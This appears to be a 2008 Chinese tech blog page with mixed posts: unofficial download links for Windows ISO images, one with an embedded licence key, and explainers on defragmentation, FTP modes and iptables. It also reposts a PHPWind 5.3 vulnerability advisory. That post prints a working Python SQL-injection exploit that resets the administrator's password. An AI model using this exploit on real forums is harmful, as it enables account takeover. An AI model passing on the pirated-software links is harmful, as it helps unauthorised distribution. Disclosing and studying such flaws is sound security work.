正在加载...
分页: 157/186 第一页 上页 152 153 154 155 156 157 158 159 160 161 下页 最后页 [ 显示模式: 摘要 | 列表 ]

微软全套原版光盘

[ 2008/08/07 11:08 | by selboo ]

一、Windows ME 简体中文
  容量:384.38MB

    迅雷下载:http://www.taschool.com/Soft/UploadSoft/winme.iso

二、Windows 2000 SP4 OEM 简体中文
  容量:383MB (402,626,560 字节)
  卷标:ZRMPOEM_CN
  MD5:599D35359320DB8C58C7F55DA11D3458

    迅雷下载:http://www.wxsmzx.com/down2/win2k_pro_sp4_CN.iso

三、Windows XP Media Center Edition 2005 简体中文版
  简介:经典的2005媒体中心
  卷标:MRMPFPP_CN;MRMSD2_CN
  MD5:
  MRMPFPP_CN: f8f817c1a2ccd0b94beb186634678876
  MRMSD2_CN : fc3a5eb8fd14bf71e42f221777b8c40a

    迅雷下载

    CD1:http://bbs.mepoor.net/download/system/Windows.xp/MRMPFPP_CN_CD1.iso
    CD2:http://bbs.mepoor.net/download/system/Windows.xp/MRMPFPP_CN_CD2.iso
    2CD:ftp://x6x8.com/xtcx/czxt/WinXPMCE2005.rar

四、Windows XP Pro 简体中文
  简介:最早的版本,俗称505MB版
  容量:505MB(530,186,240字节)
  卷标:WXPFPP_CN
  MD5:109e362420790ac40e500d940bff814c

    迅雷下载 :

    ftp://202.38.81.113/pub/system/XP_Pro.iso
    http://211.141.107.26/pic/winxp.iso
    http://sh.lm8.cn/Microsoft/Microsoft%20OS/WinXP/CHS/WinXPPro505M.iso

五、Windows XP Pro SP2 VOL 简体中文 (电脑疯子版)
  简介:最好的SP2版
  容量:592MB(621,346,816 字节)
  卷标:VRMPVOL_CN
  MD5:f455f9a787b620aca7ac89ab47574919

    迅雷下载:

    小路工作室下载地址(本人亲测,郑重推荐) http://www.)wzlu.com/soft/softdown.asp?softid=2522
    中文下载(本人亲测,郑重推荐) http://www.zwsky.cn/downinfo/109.html

六、Windows XP Pro SP2 VOL 简体中文 北京市政府版
  简介:最好的SP2版
  容量:592 MB (621,346,816 字节)
  卷标:VRMPVOL_CN
  MD5:81d7887a2f2cba696defdfc75dac54b4

    迅雷下载(本人亲测,郑重推荐) ftp://219.150.11.34/VRMPVOL_CN.iso

七、Windows XP Pro SP2 VOL 简体中文 上海市政府版
  简介:最好的SP2版
  容量:592 MB (621,346,816 字节)
  卷标:VRMPVOL_CN
  MD5:2637e695f43329fc9d66feceee44bf1f

    迅雷下载(本人亲测,郑重推荐)http://www.lwedu.cn/public/gardenplot/cygj/xtrj/VRMPVOL_CNsp2.iso

八、Windows XP Pro SP2 VOL 英文
  容量:579 MB (607,250,432 字节)
  卷标:VRMPVOL_EN
  MD5:44912ED4AD09F0D2CA5066A16209F717

    迅雷下载 :http://dl.oamo.com:8099/Soft/0508/19/VRMPVOL_EN.iso

九、Windows XP Home简体中文
  容量:489MB(513,515,520 字节)
  卷标:WXHFPP_CN
  MD5:C10C3F88909EF20EEBEB3E6AB21C3B52

    迅雷下载:(亲测可下,MD5值未检验) http://www.d-dd.org/Soft/ShowSoftDown.asp?UrlID=3&SoftID=2372

十、Windows 2003 Enterprise SP1 简体中文版
  容量:580.90MB
  卷标:ARMEVOL_CN
  MD5554650288b755a84285eb3b6d6cd159c

    迅雷下载 ftp://210.51.22.77:8021/Microsoft.Windows.Server.2003.Enterprise.CHS.with.SP1.MSDN_KXWPJ-6VWT6-YTY44-3WCFR-M3KVM.iso
    ftp://ftp1.zhidu.com/xtgj/Windows.2003.Enterprise.Edition.SP1.MSDN.VOL_zhidu.com.ISO

十一、Windows 2003 Standard SP1 简体中文版
  容量:579.51MB
  卷标:ARMSVOL_CN
  MD5344869e699d20530f2a86481542e43f7

    迅雷下载 ftp://ftp1.zhidu.com/xtgj/Windows.2003.Standard.Edition.SP1.MSDN.VOL_zhidu.com.ISO

十二、Windows Server 2003 R2 Ent With Sp2 CHS VOL [简体中文MSDN原版]
  发布时间:2007年4月27日 23:06:15(UTC)
  容量:544.87 MB
  MD5值:1017479075166ba7dd762392f8274fe3
  SHA1值:d0dd2782e9387328ebfa45d8804b6850acabf520

    FlashGet专用高速下载地址: http://down.x6x8.com/soft/download.asp?softid=1255&downid=3&id=1284

    网通下载地址(右键迅雷下载): http://down.x6x8.com/soft/download.asp?softid=1255&downid=2&id=1284

    微软下载地址CD1(IMG格式) (右键迅雷下载): http://download.microsoft.com/download/E/9/7/E975CB87-0D4E-4B67-80BC-51439E784C9B/X13-13892.img

十三、Windows Server 2003 R2 Ent With Sp2 CHS VOL [R2安装盘MSDN原版]
  发布时间:2007年4月27日 23:06:15(UTC)( 此CD2为单独的R2安装盘,没有需要可以不用安装)
  容量:89.75 MB
  MD5值:9160be18a627692c996bd3ad22fb7dbd
  SHA1值:4b364e848fcc59762dddced1493248e2896ee033

    FlashGet专用高速下载地址: http://down.x6x8.com/soft/download.asp?softid=1256&downid=3&id=1285

    网通下载地址: (右键迅雷下载)http://down.x6x8.com/soft/download.asp?softid=1256&downid=2&id=1285

    微软下载地址CD2(IMG格式) (右键迅雷下载):http://download.microsoft.com/download/E/9/7/E975CB87-0D4E-4B67-80BC-51439E784C9B/X13-13895.img

十四、Windows Vista x86 简体中文旗舰版
  容量:2.43GB(2,613,229,568 字节)
  MD5 4AC79C50B11BCB2F4FA6A5660084ED748BCA7254

    迅雷下载 (本人亲测,郑重推荐)

    1、http://beautiful38.vicp.net/vista/Windows%20Vista%20Ultimate%20ChnSimp%20DVD.mdf
    2、http://visin.hooke.cn/attachment.php?f=ftp%3A%2F%2Fvista32%3Avista32%40202.96.86.22%2Fcn_windows_vista_x86_dvd_X12-59648.iso
    3、http://www.lydisk.com//vista59648.iso.rar
    4、http://netcat.cn/software/iso/Microsoft/Windows%20Vista/cn_windows_vista_x86_dvd_X12-59648.iso
    5、http://222.73.10.85/host/vista.rar
    6、ftp://down.05sun.com/bigdown/cn_windows_vista_x86_dvd_X12-59648.iso

十五、Windows Vista x64简体中文旗舰版
  容量:3.29GB(3,536,730,112 字节)
  MD5 4B7ED66850BB34C818EB282DCFB60C622B411C10

    迅雷下载
  1、ftp://www.05sun.com/bigdown/cn_windows_vista_x64_dvd_X12-63216.iso
  2、http://bd.05sun.com/bg/cn_windows_vista_x64_dvd_X12-63216.iso

Tags:

全面解读磁盘碎片整理

[ 2008/08/07 10:59 | by selboo ]
  以前写过几篇磁盘整理的拙文,现把有关磁盘整理的相关知识进行一次集中解读,希望对常用电脑的朋友有所启发、有所帮助!

  一、什么是磁盘碎片

  其实磁盘碎片应该称为文件碎片,是因为文件被分散保存到整个磁盘的不同地方,而不是连续地保存在磁盘连续的簇中形成的。

  当应用程序所需的物理内存不足时,一般操作系统会在硬盘中产生临时交换文件,用该文件所占用的硬盘空间虚拟成内存。虚拟内存管理程序会对硬盘频繁读写,产生大量的碎片,这是产生硬盘碎片的主要原因。

  其他如IE浏览器浏览信息时生成的临时文件或临时文件目录的设置也会造成系统中形成大量的碎片。文件碎片一般不会在系统中引起问题,但文件碎片过多会使系统在读文件的时候来回寻找,引起系统性能下降,严重的还要缩短硬盘寿命。另外,过多的磁盘碎片还有可能导致存储文件的丢失。

  二、磁盘碎片是怎么产生的

  在磁盘分区中,文件会被分散保存到磁盘的不同地方,而不是连续地保存在磁盘连续的簇中。又因为在文件操作过程中,Windows系统可能会调用虚拟内存来同步管理程序,这样就会导致各个程序对硬盘频繁读写,从而产生磁盘碎片。

  三、磁盘读写操作的原理

  知道了磁盘碎片的产生原因之后,我们还有必要了解一下程序运行时磁盘的读写动作。一般运行一个程序时,磁盘驱动器的磁头所做的工作是先搜索该程序运行必需的文件,然后读取数据,最后做读后处理——将数据传送至磁盘高速缓存(Cache)和内存中。搜索时间在硬盘性能指标中被称为平均寻道时间(Average seek time),单位为毫秒(ms),目前主流硬盘的平均寻道时间小于9.5ms。如果能将应用程序的相关文件放在磁盘的连续空间内,磁头搜索的时间将会减少很多。读取时也是如此,磁盘读取位于磁头下方扇区的数据所需时间仅为将磁头移到另一地点再读取相同数据所需时间的五分之一。读盘时,系统先检查数据是否在高速缓存中,如果有则直接读取;如果没有则访问磁盘,也就是读盘。当需要多次读取同一份数据时,Cache的作用很大,但对于第一次读取某个文件,Cache就无能为力了。于是搜索时间和读取时间在很大程度上影响着程序执行的效率。

  为何要整理磁盘 Windows系统并不能自动将每个文件按照最大程度减少磁头搜索时间的原则放到磁盘上最合适的位置。于是Microsoft在Windows中加入了“Disk Defragment”(磁盘碎片整理程序),并提供了“TaskMonitor”(任务监视器)来跟踪程序启动过程中的磁盘活动,以利于“Disk Defragment”能够更有效地工作。“TaskMonitor”是随Windows启动而自动运行的(当然要在“启动”中选中“TaskMonitor”)。当加载某个应用程序时,它通过监视磁盘的访问动作来了解该程序启动时搜索和调用的文件,对所需文件进行定位,并将监视结果储存在“C:\Windows\Applog”隐藏目录中。这个目录中的大多数文件以“.lgx”为扩展名,其中“lg”代表记录文件(Log File),“x”表示盘符,如D盘程序就以“.lgd”为扩展名;记录文件的文件名为TaskMonitor所监视的应用程序的文件名,如E盘上的WinZip程序记为“Winzip32.lge”。用户进行磁盘碎片整理时,该程序会根据Applog目录中的信息把应用程序的相关文件移动到磁盘上的连续空间内。

  TaskMonitor仅在程序加载过程中对文件信息进行搜索,并且根据程序的加载频率调整优化的顺序,也就是说使用次数最多的软件可获得最多的关照。Applog目录中的APPLOG.ind文件就记录了应用程序运行的次数。用户需要将常用软件多次启动,接受TaskMonitor的监视和记录,再使用Disk Defragment进行整理,才能真正实现程序启动速度的提高。但如果用户中途改变了常用软件,比如以前常用WinZip,现在改用ZipMagic,那么在相当长的时间内Disk Defragment还是先把与WinZip相关的文件移到连续的空间内,而不是ZipMagic,除非ZipMagic的加载次数超过WinZip。要解决这个问题,用户可将“Winzip32.lgx”文件删除,记录文件不存在了,Disk Defragment也就不会去优化它了。

  四、该不该定期整理硬盘

  实际上,定期整理硬盘应该是毫无疑问的。如果说硬盘碎片整理真的会损害硬盘的话,那也将是在对硬盘进行近乎天文数字般次数的整理之后。

  硬盘使用的时间长了,文件的存放位置就会变得支离破碎——文件内容将会散布在硬盘的不同位置上。这些“碎片文件”的存在会降低硬盘的工作效率,还会增加数据丢失和数据损坏的可能性。碎片整理程序把这些碎片收集在一起,并把它们作为一个连续的整体存放在硬盘上。Windows自带有这样的程序:磁盘碎片整理程序(DiskDefragmenter),但在工具软件NortonUtilities和Nuts&Bolts中有更好的此类程序。

  然而,碎片整理对硬盘里的运转部件来说的确是一项不小的工作。如果硬盘已经到了它生命的最后阶段,碎片整理的确有可能是一种自杀行为。但在这种情况下,即使您不进行碎片整理,硬盘也会很快崩溃的。

  实际上在大多数情况下,定期的硬盘碎片整理减少了硬盘的磨损。不管怎么说,让硬盘的磁头从1处读取文件总比从8处读取要容易得多。因此,一个每两周或四周整理一次的硬盘的寿命应当比一个永远不整理的硬盘长。

  五、整理前的准备工作

  我们在整理硬盘前一般都要对它清理垃圾信息,检查有无错误,最后才能谈到碎片的整理和优化。因此,我们在整理硬盘前,应该首先做好这些工作:

  1、应该把硬盘中的垃圾文件和垃圾信息清理干净。系统工作一段时间后,垃圾文件就会非常之多,有程序安装时产生的临时文件、上网时留下的缓冲文件、删除软件时剩下的DLL文件或强行关机时产生的错误文件等,建议“菜鸟”朋友还是使用微软的“磁盘清理程序”代劳,“老鸟”当然可以使用一些功能更强的软件或手工清理。

  2、检查并修复硬盘中的错误。首选的仍然是微软的“磁盘扫描程序”,虽然它的速度实在不怎么样,但只要你有足够的耐心,经过这个程序对磁盘完整而详细的扫描后,相信系统中的绝大多数错误已经被修复了。当然你也可以尝试一下其他工具,如扁鹊神医“Norton WinDoctor”,它的速度可比Windows中的“磁盘扫描工具”快多了。

  六、整理方法及注意

  在Windows里,用户可以从“开始”菜单中选择“程序/附件/系统工具/磁盘碎片整理程序”,弹出选择驱动器窗口,选择要整理的分区,然后点击[确定]即可开始整理,但此方法碎片整理过程非常耗时,一般2GB左右的分区需要1个小时以上,所以建议读者:

  1、整理磁盘碎片的时候,要关闭其他所有的应用程序,包括屏幕保护程序,最好将虚拟内存的大小设置为固定值。不要对磁盘进行读写操作,一旦Disk Defragment发现磁盘的文件有改变,它将重新开始整理。

  2、整理磁盘碎片的频率要控制合适,过于频繁的整理也会缩短磁盘的寿命。一般经常读写的磁盘分区一周整理一次。

  七、磁盘扫描程序的命令参数

  命令参数在 DOS时代可以说是一项基本的技能,很多程序都要靠命令参数来启动,而到了图形化界面时代,已很难再见到其踪迹,但它却实实在在地存在着,而且发挥着不小的作用。如很多 Windows游戏的设置程序就是用 /Setup 参数来实现的。通常我们不会太留意某些程序的命令参数,但他们往往包含着某些隐秘的功能,如果运用适当对你很有帮助。

  Windows 中的磁盘扫描程序就包含着许多命令参数,你可以在MS_DOS方式下或在“运行”对话框中实现,如果需要经常用命令参数,还可以建立一个快捷方式。

  /SILENT 启动磁盘扫描程序不允许作任何选项设置和高级设置。

  /A 检查所有的本地硬盘

  /N 自动启动和退出磁盘扫描程序

  /P 防止磁盘扫描程序修复所发现的错误

  X: X 表示指定要检查的驱动器号(不需要 / 的命令参数)

  举例:

  1)检查驱动器 E 并自动启动和退出磁盘扫描程序

  SCANDSKW E: /N

  2)检查所有的硬盘并防止磁盘扫描程序修复发现的任何错误

  SCANDSKW /A /P

  八、运行过其他文件整理程序怎么办

  当运行了其他磁盘文件整理程序(如WinAlign)后,它可能扰乱了TaskMon记录的数据,若此时直接进行碎片整理,可能会得不偿失,达不到优化性能的目的。解决的办法是在进行碎片整理之前,多次运行Windows和自己最常用的程序,这样可以让TaskMon重新收集到正确的统计数据,指导进行磁盘优化。

  最后,当启动Windows98的磁盘碎片整理程序时,可能会诧异界面中的Intel标志。为什么处理器的生产厂商会参与编写这个优化磁盘的软件呢?这是因为硬盘寻道时间的缓慢会导致系统整体性能的下降,这样会有损CPU超级计算能力的形象,让人误以为是CPU性能的低下。Microsoft的一个测试表明,在奔腾233的机器上启动Windows仅仅比奔腾150快3%,也就是说,快速的CPU并不能克服磁盘延迟的缺点。于是,在共同利益的驱动下,Intel和Microsoft联合开发了Windows98的磁盘碎片整理程序,用来消除硬盘寻道缓慢的瓶颈。

  九、如何快速地整理磁盘碎片

  每次需要整理磁盘碎片时都需要选择“开始”*“程序”*“附件”*“系统工具”*“磁盘碎片整理程序”,然后再指定驱动器,很麻烦。能否有简单的方法完成这一系列操作?

  在Windows资源管理器中,选择“查看”*“文件夹选项”(或“查看”*“选项”),选择“文件类型”选项卡,并在“已注册的文件类型”列表中选择“驱动器”。单击“编辑”按钮,打开“编辑文件类型”对话框,选择“新建”,在“操作”栏中,键入“快速整理磁盘碎片”。在“用于执行操作的应用程序”栏中键入“C:\Windows\defrag.exe "%1" \noprompt”。

  单击“确定”,然后“关闭”,回到“文件类型”选项卡,然后单击“关闭”。现在,打开“我的电脑”,右键单击想要整理磁盘碎片的驱动器,在弹出的快捷菜单中选择“快速整理磁盘碎片”即可。
转自 http://www.80sec.com/phpwind-admin-pass-change-vul.html

漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。

漏洞厂商:http://www.phpwind.net

漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:

function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}


甚至不用注册账户,只要精心构造username即可利用此漏洞。

漏洞利用:80sec提供exploit如下:

import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”

print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"

print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"

except:
print "[-]Exploit Failed"


漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
Tags:

FTP的两种访问方式

[ 2008/08/06 10:35 | by selboo ]

    FTP是仅基于TCP的服务,不支持UDP。 与众不同的是FTP使用2个端口,一个数据端口和一个命令端口(也可叫做控制端口)。通常来说这两个端口是21-命令端口和20-数据端口。但当我们发现根据(FTP工作)方式的不同数据端口并不总是20时,混乱产生了。

主动FTP

    主动方式的FTP是这样的:客户端从一个任意的非特权端口N(N>;1024)连接到FTP服务器的命令端口,也就是21端口。然后客户端开始监听端口N+1,并发送FTP命令“port N+1”到FTP服务器。接着服务器会从它自己的数据端口(20)连接到客户端指定的数据端口(N+1)。

针对FTP服务器前面的防火墙来说,必须允许以下通讯才能支持主动方式FTP:

    任何端口到FTP服务器的21端口 (客户端初始化的连接 S<-C)
    FTP服务器的21端口到大于1023的端口(服务器响应客户端的控制端口 S->C)
    FTP服务器的20端口到大于1023的端口(服务器端初始化数据连接到客户端的数据端口 S->C)
    大于1023端口到FTP服务器的20端口(客户端发送ACK响应到服务器的数据端口 S<-C)

画出来的话,连接过程大概是下图的样子:

点击在新窗口中浏览此图片

    在第1步中,客户端的命令端口与FTP服务器的命令端口建立连接,并发送命令“PORT 1027”。然后在第2步中,FTP服务器给客户端的命令端口返回一个"ACK"。在第3步中,FTP服务器发起一个从它自己的数据端口(20)到客户端先前指定的数据端口(1027)的连接,最后客户端在第4步中给服务器端返回一个"ACK"。

    主动方式FTP的主要问题实际上在于客户端。FTP的客户端并没有实际建立一个到服务器数据端口的连接,它只是简单的告诉服务器自己监听的端口号,服务器再回来连接客户端这个指定的端口。对于客户端的防火墙来说,这是从外部系统建立到内部客户端的连接,这是通常会被阻塞的。

主动FTP的例子

    下面是一个主动FTP会话的实际例子。当然服务器名、IP地址和用户名都做了改动。在这个例子中,FTP会话从 testbox1.slacksite.com (192.168.150.80),一个运行标准的FTP命令行客户端的Linux工作站,发起到testbox2.slacksite.com (192.168.150.90),一个运行ProFTPd 1.2.2RC2的Linux工作站。debugging(-d)选项用来在FTP客户端显示连接的详细过程。红色的文字是 debugging信息,显示的是发送到服务器的实际FTP命令和所产生的回应信息。服务器的输出信息用黑色字表示,用户的输入信息用粗体字表示。

    仔细考虑这个对话过程我们会发现一些有趣的事情。我们可以看到当 PORT 命令被提交时,它指定了客户端(192.168.150.80)上的一个端口而不是服务器的。当我们用被动FTP时我们会看到相反的现象。我们再来关注PORT命令的格式。就象你在下面的例子看到的一样,它是一个由六个被逗号隔开的数字组成的序列。前四个表示IP地址,后两个组成了用于数据连接的端口号。用第五个数乘以256再加上第六个数就得到了实际的端口号。下面例子中端口号就是( (14*256) + 178) = 3762。我们可以用netstat来验证这个端口信息。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------    3 slacker     users          104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

被动FTP

    为了解决服务器发起到客户的连接的问题,人们开发了一种不同的FTP连接方式。这就是所谓的被动方式,或者叫做PASV,当客户端通知服务器它处于被动模式时才启用。

    在被动方式FTP中,命令连接和数据连接都由客户端,这样就可以解决从服务器到客户端的数据端口的入方向连接被防火墙过滤掉的问题。当开启一个FTP连接时,客户端打开两个任意的非特权本地端口(N >; 1024和N+1)。第一个端口连接服务器的21端口,但与主动方式的FTP不同,客户端不会提交PORT命令并允许服务器来回连它的数据端口,而是提交PASV命令。这样做的结果是服务器会开启一个任意的非特权端口(P >; 1024),并发送PORT P命令给客户端。然后客户端发起从本地端口N+1到服务器的端口P的连接用来传送数据。

对于服务器端的防火墙来说,必须允许下面的通讯才能支持被动方式的FTP:

    从任何端口到服务器的21端口 (客户端初始化的连接 S<-C)
    服务器的21端口到任何大于1023的端口 (服务器响应到客户端的控制端口的连接 S->C)
    从任何端口到服务器的大于1023端口 (入;客户端初始化数据连接到服务器指定的任意端口 S<-C)
    服务器的大于1023端口到远程的大于1023的端口(出;服务器发送ACK响应和数据到客户端的数据端口 S->C)

画出来的话,被动方式的FTP连接过程大概是下图的样子:

点击在新窗口中浏览此图片

    在第1步中,客户端的命令端口与服务器的命令端口建立连接,并发送命令“PASV”。然后在第2步中,服务器返回命令"PORT 2024",告诉客户端(服务器)用哪个端口侦听数据连接。在第3步中,客户端初始化一个从自己的数据端口到服务器端指定的数据端口的数据连接。最后服务器在第4 步中给客户端的数据端口返回一个"ACK"响应。

    被动方式的FTP解决了客户端的许多问题,但同时给服务器端带来了更多的问题。最大的问题是需要允许从任意远程终端到服务器高位端口的连接。幸运的是,许多FTP守护程序,包括流行的WU-FTPD允许管理员指定FTP服务器使用的端口范围。详细内容参看附录1。

    第二个问题是客户端有的支持被动模式,有的不支持被动模式,必须考虑如何能支持这些客户端,以及为他们提供解决办法。例如,Solaris提供的FTP命令行工具就不支持被动模式,需要第三方的FTP客户端,比如ncftp。

    随着WWW的广泛流行,许多人习惯用web浏览器作为FTP客户端。大多数浏览器只在访问ftp://这样的URL时才支持被动模式。这到底是好还是坏取决于服务器和防火墙的配置。

被动FTP的例子

    下面是一个被动FTP会话的实际例子,只是服务器名、IP地址和用户名都做了改动。在这个例子中,FTP会话从 testbox1.slacksite.com (192.168.150.80),一个运行标准的FTP命令行客户端的Linux工作站,发起到testbox2.slacksite.com (192.168.150.90),一个运行ProFTPd 1.2.2RC2的Linux工作站。debugging(-d)选项用来在FTP客户端显示连接的详细过程。红色的文字是 debugging信息,显示的是发送到服务器的实际FTP命令和所产生的回应信息。服务器的输出信息用黑色字表示,用户的输入信息用粗体字表示。

    注意此例中的PORT命令与主动FTP例子的不同。这里,我们看到是服务器(192.168.150.90)而不是客户端的一个端口被打开了。可以跟上面的主动FTP例子中的PORT命令格式对比一下。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------    3 slacker     users          104 Jul 27 01:45 public_html
226 Transfer complete.
ftp>; quit
---> QUIT
221 Goodbye.

总结

下面的图表会帮助管理员们记住每种FTP方式是怎样工作的:

主动FTP:
    命令连接:客户端 >1023端口 -> 服务器 21端口
    数据连接:客户端 >1023端口 <- 服务器 20端口

被动FTP:
    命令连接:客户端 >1023端口 -> 服务器 21端口
    数据连接:客户端 >1023端口 -> 服务器 >1023端口

下面是主动与被动FTP优缺点的简要总结:

    主动FTP对FTP服务器的管理有利,但对客户端的管理不利。因为FTP服务器企图与客户端的高位随机端口建立连接,而这个端口很有可能被客户端的防火墙阻塞掉。被动FTP对FTP客户端的管理有利,但对服务器端的管理不利。因为客户端要与服务器端建立两个连接,其中一个连到一个高位随机端口,而这个端口很有可能被服务器端的防火墙阻塞掉。

    幸运的是,有折衷的办法。既然FTP服务器的管理员需要他们的服务器有最多的客户连接,那么必须得支持被动FTP。我们可以通过为FTP服务器指定一个有限的端口范围来减小服务器高位端口的暴露。这样,不在这个范围的任何端口会被服务器的防火墙阻塞。虽然这没有消除所有针对服务器的危险,但它大大减少了危险。详细信息参看附录1。

Tags:

Linux安全工具-Iptables

[ 2008/08/05 12:17 | by selboo ]
    iptables是一款状态防火墙几乎集成到所有Linux发行版中了,这就意味着你可以使用它基于ip地址的规则来控制远程机器访问你的服务器,以及连接请求的类型。(旧的无状态的防火墙让你只能根据数据包的内容来做出判断,因此你被端口号限制,不能跟踪会话的存在,如FTP数据流),Debian用户可以通过apt-get install iptables conntrack来获取它。

    当你从终端登陆到机器上时请完成你的初始化测试,用一个错误的规则将你自己锁在外面,然后你亲自恢复,当所有数据包被允许通过,因此这如果不被接受,观察iptables-save和iptables-restore命令,这里有一个加上注释的例子脚本,它非常基础,但是基本上它可以告诉你iptables是如何工作的:

#!/bin/bash
# example iptables script
# flush the old rules
iptables -F
# set the default policy of the chain to accept
iptables -P INPUT ACCEPT
# create a new table for logging and discarding
# unwanted packets
iptables -N LOGDROP
# use rate limiting on the logging, and
# add a prefix of ’filter:
iptables -A LOGDROP -m limit -j LOG --log-prefix "filter: "
# drop unwanted TCP connections with a
# TCP ReSeT packet
iptables -A LOGDROP -p tcp -j REJECT --reject-with tcp-reset
# drop other packets by sending an ICMP
# port unreachable in response
iptables -A LOGDROP -j REJECT --reject-with icmp-port-unreachable
# now drop the packet
iptables -A LOGDROP -j DROP
#allow anything on the local interface
iptables -A INPUT -i lo -j RETURN
# allow packets that are related to
# an on-going conversation
iptables -A INPUT -p tcp -m conntrack --ctstate RELATED,ESTABLISHED -j
RETURN
iptables -A INPUT -p udp -m conntrack --ctstate RELATED,ESTABLISHED -j
RETURN
# allow SSH traffic
iptables -A INPUT -p tcp -m tcp --dport 22 -j RETURN
# allow HTTP and HTTPS traffic
iptables -A INPUT -p tcp -m tcp --dport 443 -j RETURN
iptables -A INPUT -p tcp -m tcp --dport 80 -j RETURN
# accept the following ICMP types -
# echo, echo reply, source quench,
ttl exceeded,
# destination unreachable - and drop the rest
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j RETURN
iptables -A INPUT -p icmp -m icmp --icmp-type 3 -j RETURN
iptables -A INPUT -p icmp -m icmp --icmp-type 4 -j RETURN
iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j RETURN
iptables -A INPUT -p icmp -m icmp --icmp-type 11 -j RETURN
# if we haven’t accepted it, drop and log it.
iptables -A INPUT -j LOGDROP

    如果你正在疑惑日志在哪里,象什么样子,这里有一个例子,来自系统日志/var/log/messages,一个来自192.168.50.40的UDP数据包,源端口30766,目标服务器是192.168.0.8,目标端口是1026,这个数据包被丢掉了,它可能是windows机器上了信使服务发出的垃圾信息:

Nov 22 06:24:00 localhost kernel: filter: IN=eth0
OUT=MAC=00:0a:e6:4e:6d:49:00:14:6c:67:cc:9a:08:00
SRC=192.168.50.40 DST=192.168.0.8 LEN=402
TOS=0x00 PREC=0x00 TTL=47 ID=3345 PROTO=UDP
SPT=30766 DPT=1026 LEN=382

